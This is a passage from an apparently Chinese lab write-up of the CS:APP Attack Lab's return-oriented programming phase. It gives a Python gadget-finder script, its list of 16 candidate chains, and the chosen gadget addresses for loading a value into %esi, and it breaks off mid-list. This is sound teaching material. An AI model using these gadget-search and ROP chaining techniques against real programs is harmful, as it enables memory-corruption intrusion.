class="mord mathnormal">d</span><span class="mord mathnormal">b</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">84</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span style="top:-7.3em;"><span class="pstrut" style="height:5.25em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span></span></span></span></span></p><p>手动寻找有点艰辛，让 Gemini 写个脚本来遍历。</p><details><summary>Python 脚本</summary><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> collections <span class="keyword">import</span> deque, namedtuple</span><br><span class="line"></span><br><span class="line">REG_32 = [<span class="string">&quot;%eax&quot;</span>, <span class="string">&quot;%ecx&quot;</span>, <span class="string">&quot;%edx&quot;</span>, <span class="string">&quot;%ebx&quot;</span>, <span class="string">&quot;%esp&quot;</span>, <span class="string">&quot;%ebp&quot;</span>, <span class="string">&quot;%esi&quot;</span>, <span class="string">&quot;%edi&quot;</span>]</span><br><span class="line">REG_64 = [<span class="string">&quot;%rax&quot;</span>, <span class="string">&quot;%rcx&quot;</span>, <span class="string">&quot;%rdx&quot;</span>, <span class="string">&quot;%rbx&quot;</span>, <span class="string">&quot;%rsp&quot;</span>, <span class="string">&quot;%rbp&quot;</span>, <span class="string">&quot;%rsi&quot;</span>, <span class="string">&quot;%rdi&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 题目允许的 NOP 指令和无害指令的机器码</span></span><br><span class="line">SAFE_BYTES = &#123;</span><br><span class="line">    <span class="string">&quot;90&quot;</span>,</span><br><span class="line">    <span class="string">&quot;20c0&quot;</span>,</span><br><span class="line">    <span class="string">&quot;20c9&quot;</span>,</span><br><span class="line">    <span class="string">&quot;20d2&quot;</span>,</span><br><span class="line">    <span class="string">&quot;20db&quot;</span>,</span><br><span class="line">    <span class="string">&quot;08c0&quot;</span>,</span><br><span class="line">    <span class="string">&quot;08c9&quot;</span>,</span><br><span class="line">    <span class="string">&quot;08d2&quot;</span>,</span><br><span class="line">    <span class="string">&quot;08db&quot;</span>,</span><br><span class="line">    <span class="string">&quot;38c0&quot;</span>,</span><br><span class="line">    <span class="string">&quot;38c9&quot;</span>,</span><br><span class="line">    <span class="string">&quot;38d2&quot;</span>,</span><br><span class="line">    <span class="string">&quot;38db&quot;</span>,</span><br><span class="line">    <span class="string">&quot;84c0&quot;</span>,</span><br><span class="line">    <span class="string">&quot;84c9&quot;</span>,</span><br><span class="line">    <span class="string">&quot;84d2&quot;</span>,</span><br><span class="line">    <span class="string">&quot;84db&quot;</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Gadget = namedtuple(<span class="string">&quot;Gadget&quot;</span>, [<span class="string">&quot;addr&quot;</span>, <span class="string">&quot;type&quot;</span>, <span class="string">&quot;src&quot;</span>, <span class="string">&quot;dst&quot;</span>, <span class="string">&quot;raw&quot;</span>, <span class="string">&quot;block&quot;</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ROPFinder</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, dump_text</span>):</span><br><span class="line">        <span class="variable language_">self</span>.bytes_map = []</span><br><span class="line">        <span class="variable language_">self</span>.addr_to_block = &#123;&#125;</span><br><span class="line">        <span class="variable language_">self</span>._parse(dump_text)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_parse</span>(<span class="params">self, text</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;解析汇编文本，建立字节映射和函数块映射&quot;&quot;&quot;</span></span><br><span class="line">        blocks = re.split(<span class="string">r&quot;\n(?=[0-9a-f]+ &lt;.*&gt;:)&quot;</span>, text.strip())</span><br><span class="line">        <span class="keyword">for</span> block <span class="keyword">in</span> blocks:</span><br><span class="line">            lines = block.strip().split(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> lines:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line">                <span class="keyword">match</span> = re.<span class="keyword">match</span>(<span class="string">r&quot;\s*([0-9a-f]+):\s+(([0-9a-f]&#123;2&#125;\s)+)&quot;</span>, line)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">match</span>:</span><br><span class="line">                    base_addr = <span class="built_in">int</span>(<span class="keyword">match</span>.group(<span class="number">1</span>), <span class="number">16</span>)</span><br><span class="line">                    hex_bytes = <span class="keyword">match</span>.group(<span class="number">2</span>).strip().split()</span><br><span class="line">                    <span class="keyword">for</span> i, b <span class="keyword">in</span> <span class="built_in">enumerate</span>(hex_bytes):</span><br><span class="line">                        addr = base_addr + i</span><br><span class="line">                        <span class="variable language_">self</span>.bytes_map.append((addr, b))</span><br><span class="line">                        <span class="variable language_">self</span>.addr_to_block[addr] = block</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_is_safe</span>(<span class="params">self, seq</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;检查指令与 ret 之间的填充字节是否安全&quot;&quot;&quot;</span></span><br><span class="line">        i = <span class="number">0</span></span><br><span class="line">        <span class="keyword">while</span> i &lt; <span class="built_in">len</span>(seq):</span><br><span class="line">            <span class="keyword">if</span> seq[i] == <span class="string">&quot;90&quot;</span>:</span><br><span class="line">                i += <span class="number">1</span></span><br><span class="line">            <span class="keyword">elif</span> i + <span class="number">1</span> &lt; <span class="built_in">len</span>(seq) <span class="keyword">and</span> (seq[i] + seq[i + <span class="number">1</span>]) <span class="keyword">in</span> SAFE_BYTES:</span><br><span class="line">                i += <span class="number">2</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">find_all_gadgets</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;扫描所有潜在的 popq 和 movl gadgets&quot;&quot;&quot;</span></span><br><span class="line">        found = &#123;&#125;</span><br><span class="line">        <span class="comment"># 遍历字节流寻找 ret (c3)</span></span><br><span class="line">        <span class="keyword">for</span> i, (addr, b) <span class="keyword">in</span> <span class="built_in">enumerate</span>(<span class="variable language_">self</span>.bytes_map):</span><br><span class="line">            <span class="keyword">if</span> b != <span class="string">&quot;c3&quot;</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">            <span class="comment"># 从 c3 往回看最多 10 个字节</span></span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10</span>):</span><br><span class="line">                <span class="keyword">if</span> i - j &lt; <span class="number">0</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                start_idx = i - j</span><br><span class="line">                start_addr, op = <span class="variable language_">self</span>.bytes_map[start_idx]</span><br><span class="line">                seq = [x[<span class="number">1</span>] <span class="keyword">for</span> x <span class="keyword">in</span> <span class="variable language_">self</span>.bytes_map[start_idx : i + <span class="number">1</span>]]</span><br><span class="line"></span><br><span class="line">                res = <span class="literal">None</span></span><br><span class="line">                <span class="comment"># 识别 popq (58-5f)</span></span><br><span class="line">                val = <span class="built_in">int</span>(op, <span class="number">16</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="number">0x58</span> &lt;= val &lt;= <span class="number">0x5F</span> <span class="keyword">and</span> <span class="variable language_">self</span>._is_safe(seq[<span class="number">1</span>:-<span class="number">1</span>]):</span><br><span class="line">                    res = (<span class="string">&quot;popq&quot;</span>, <span class="literal">None</span>, REG_64[val - <span class="number">0x58</span>])</span><br><span class="line"></span><br><span class="line">                <span class="comment"># 识别 movl (89 c0-ff)</span></span><br><span class="line">                <span class="keyword">elif</span> op == <span class="string">&quot;89&quot;</span> <span class="keyword">and</span> <span class="built_in">len</span>(seq) &gt;= <span class="number">3</span>:</span><br><span class="line">                    modrm = <span class="built_in">int</span>(seq[<span class="number">1</span>], <span class="number">16</span>)</span><br><span class="line">                    <span class="keyword">if</span> <span class="number">0xC0</span> &lt;= modrm &lt;= <span class="number">0xFF</span> <span class="keyword">and</span> <span class="variable language_">self</span>._is_safe(seq[<span class="number">2</span>:-<span class="number">1</span>]):</span><br><span class="line">                        res = (</span><br><span class="line">                            <span class="string">&quot;movl&quot;</span>,</span><br><span class="line">                            REG_32[(modrm - <span class="number">0xC0</span>) // <span class="number">8</span>],</span><br><span class="line">                            REG_32[(modrm - <span class="number">0xC0</span>) % <span class="number">8</span>],</span><br><span class="line">                        )</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> res:</span><br><span class="line">                    g = Gadget(</span><br><span class="line">                        <span class="built_in">hex</span>(start_addr),</span><br><span class="line">                        res[<span class="number">0</span>],</span><br><span class="line">                        res[<span class="number">1</span>],</span><br><span class="line">                        res[<span class="number">2</span>],</span><br><span class="line">                        <span class="string">&quot; &quot;</span>.join(seq),</span><br><span class="line">                        <span class="variable language_">self</span>.addr_to_block[start_addr],</span><br><span class="line">                    )</span><br><span class="line">                    key = (g.addr, g.<span class="built_in">type</span>)</span><br><span class="line">                    <span class="comment"># 保留最短的 gadget</span></span><br><span class="line">                    <span class="keyword">if</span> key <span class="keyword">not</span> <span class="keyword">in</span> found <span class="keyword">or</span> <span class="built_in">len</span>(seq) &lt; <span class="built_in">len</span>(found[key].raw.split()):</span><br><span class="line">                        found[key] = g</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">list</span>(found.values())</span><br><span class="line"></span><br><span class="line"><span class="meta">    @staticmethod</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">search_paths</span>(<span class="params">gadgets, target=<span class="string">&quot;%esi&quot;</span></span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;BFS 寻找从任意 popq 到目标寄存器的路径&quot;&quot;&quot;</span></span><br><span class="line">        results = []</span><br><span class="line">        pops = [g <span class="keyword">for</span> g <span class="keyword">in</span> gadgets <span class="keyword">if</span> g.<span class="built_in">type</span> == <span class="string">&quot;popq&quot;</span>]</span><br><span class="line">        movs = [g <span class="keyword">for</span> g <span class="keyword">in</span> gadgets <span class="keyword">if</span> g.<span class="built_in">type</span> == <span class="string">&quot;movl&quot;</span>]</span><br><span class="line"></span><br><span class="line">        queue = deque([(p.dst.replace(<span class="string">&quot;%r&quot;</span>, <span class="string">&quot;%e&quot;</span>), [p]) <span class="keyword">for</span> p <span class="keyword">in</span> pops])</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):  <span class="comment"># 限制跳数</span></span><br><span class="line">            <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(queue)):</span><br><span class="line">                curr_reg, path = queue.popleft()</span><br><span class="line">                <span class="keyword">if</span> curr_reg == target:</span><br><span class="line">                    results.append(path)</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                <span class="keyword">for</span> m <span class="keyword">in</span> movs:</span><br><span class="line">                    <span class="keyword">if</span> m.src == curr_reg <span class="keyword">and</span> m <span class="keyword">not</span> <span class="keyword">in</span> path:</span><br><span class="line">                        queue.append((m.dst, path + [m]))</span><br><span class="line">        <span class="keyword">return</span> results</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;farm.s&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        farm_dump = f.read()</span><br><span class="line"></span><br><span class="line">    finder = ROPFinder(farm_dump)</span><br><span class="line">    all_gadgets = finder.find_all_gadgets()</span><br><span class="line">    paths = finder.search_paths(all_gadgets, <span class="string">&quot;%esi&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;找到 <span class="subst">&#123;<span class="built_in">len</span>(paths)&#125;</span> 条路径。&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> i, path <span class="keyword">in</span> <span class="built_in">enumerate</span>(paths):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;\n路径 <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>: &quot;</span> + <span class="string">&quot; -&gt; &quot;</span>.join(<span class="string">f&quot;<span class="subst">&#123;g.addr&#125;</span>&quot;</span> <span class="keyword">for</span> g <span class="keyword">in</span> path))</span><br><span class="line">        <span class="keyword">for</span> step <span class="keyword">in</span> path:</span><br><span class="line">            action = <span class="string">f&quot;<span class="subst">&#123;step.<span class="built_in">type</span>&#125;</span> <span class="subst">&#123;step.src <span class="keyword">if</span> step.src <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span>&#125;</span> -&gt; <span class="subst">&#123;step.dst&#125;</span>&quot;</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  [<span class="subst">&#123;step.addr&#125;</span>] <span class="subst">&#123;step.raw:&lt;<span class="number">12</span>&#125;</span> | <span class="subst">&#123;action&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure></details><p>找到 16 种组合。</p><details><summary>运行结果</summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line">找到 16 条纯净路径。</span><br><span class="line"></span><br><span class="line">路径 1: 0x4019ab -&gt; 0x4019dd -&gt; 0x401a34 -&gt; 0x401a13</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 2: 0x4019ab -&gt; 0x4019dd -&gt; 0x401a34 -&gt; 0x401a27</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 3: 0x4019ab -&gt; 0x4019dd -&gt; 0x401a69 -&gt; 0x401a13</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 4: 0x4019ab -&gt; 0x4019dd -&gt; 0x401a69 -&gt; 0x401a27</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 5: 0x4019ab -&gt; 0x401a42 -&gt; 0x401a34 -&gt; 0x401a13</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 6: 0x4019ab -&gt; 0x401a42 -&gt; 0x401a34 -&gt; 0x401a27</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 7: 0x4019ab -&gt; 0x401a42 -&gt; 0x401a69 -&gt; 0x401a13</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 8: 0x4019ab -&gt; 0x401a42 -&gt; 0x401a69 -&gt; 0x401a27</span><br><span class="line">  [0x4019ab] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 9: 0x4019cc -&gt; 0x4019dd -&gt; 0x401a34 -&gt; 0x401a13</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 10: 0x4019cc -&gt; 0x4019dd -&gt; 0x401a34 -&gt; 0x401a27</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 11: 0x4019cc -&gt; 0x4019dd -&gt; 0x401a69 -&gt; 0x401a13</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 12: 0x4019cc -&gt; 0x4019dd -&gt; 0x401a69 -&gt; 0x401a27</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x4019dd] 89 c2 90 c3  | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 13: 0x4019cc -&gt; 0x401a42 -&gt; 0x401a34 -&gt; 0x401a13</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 14: 0x4019cc -&gt; 0x401a42 -&gt; 0x401a34 -&gt; 0x401a27</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a34] 89 d1 38 c9 c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 15: 0x4019cc -&gt; 0x401a42 -&gt; 0x401a69 -&gt; 0x401a13</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a13] 89 ce 90 90 c3 | movl %ecx -&gt; %esi</span><br><span class="line"></span><br><span class="line">路径 16: 0x4019cc -&gt; 0x401a42 -&gt; 0x401a69 -&gt; 0x401a27</span><br><span class="line">  [0x4019cc] 58 90 c3     | popq  -&gt; %rax</span><br><span class="line">  [0x401a42] 89 c2 84 c0 c3 | movl %eax -&gt; %edx</span><br><span class="line">  [0x401a69] 89 d1 08 db c3 | movl %edx -&gt; %ecx</span><br><span class="line">  [0x401a27] 89 ce 38 c0 c3 | movl %ecx -&gt; %esi</span><br></pre></td></tr></table></figure></details><p>但实际上只有 <code>popq %rax; ret</code> -&gt; <code>movl %eax, %edx; ret</code> -&gt; <code>movl %edx, %ecx; ret</code> -&gt; <code>movl %ecx, %esi; ret</code> 这一条路径是可行的，每个指令有两种 Gadget 可选。</p><p>选择第一个解法：</p><ol><li><p><code>popq, %rax; ret</code> -&gt; <code>58 90 c3</code></p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019a7 &lt;addval_219&gt;:</span><br><span class="line">  4019a7:8d 87 51 73 58 90    lea    -0x6fa78caf(%rdi),%eax</span><br><span class="line">  4019ad:c3                   ret</span><br></pre></td></tr></table></figure></li><li><p><code>movl %eax, %edx; ret</code> -&gt; <code>89 c2 90 c3</code></p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019db &lt;getval_481&gt;:</span><br><span class="line">  4019db:b8 5c 89 c2 90       mov    $0x90c2895c,%eax</span><br><span class="line">  4019e0:c3                   ret</span><br></pre></td></tr></table></figure></li><li><p><code>movl %edx, %ecx; ret</code> -&gt; <code>89 d1 c3</code></p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0000000000401a33 &lt;getval_159&gt;:</span><br><span class="line">  401a33:b8 89 d1 38 c9       mov    $0xc938d189,%eax</span><br><span class="line">  401a38:c3                   ret</span><br></pre></td></tr></table></figure></li><li><p><code>movl %ecx, %esi; ret</code> -&gt; <code>89 ce c3</code></p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0000000000401a11 &lt;addval_436&gt;:</span><br><span class="line">  401a11:8d 87 89 ce 90 90    lea    -0x6f6f3177(%rdi),%eax</span><br><span class="line">  401a17:c3                   ret</span><br></pre></td></tr></table></figure></li></ol><p>有以下 Gadget 要执行：</p><ul><li><p><code>48 89 e0 c3</code> -&gt; <code>movq %rsp, %rax; ret</code> -&gt; 0x401a06</p></li><li><p><code>48 89 c7 c3</code> -&gt; <code>movq %rax, %rdi; ret</code> -&gt; 0x4019c5</p></li><li><p><code>58 90 c3</code> -&gt; <code>popq %rax; ret</code> -&gt; 0x4019ab</p></li><li><p><code>89 c2 90 c3</code> -&gt; <code>movl %eax, %edx; ret</code> -&gt; 0x4019dd</p></li><li><p><code>89 d1 38 c9 c3</code> -&gt; <code>movl %edx, %ecx; ret</code> -&gt; 0x401a34</p></li><li><p><code>89 ce 90 90 c3</code> 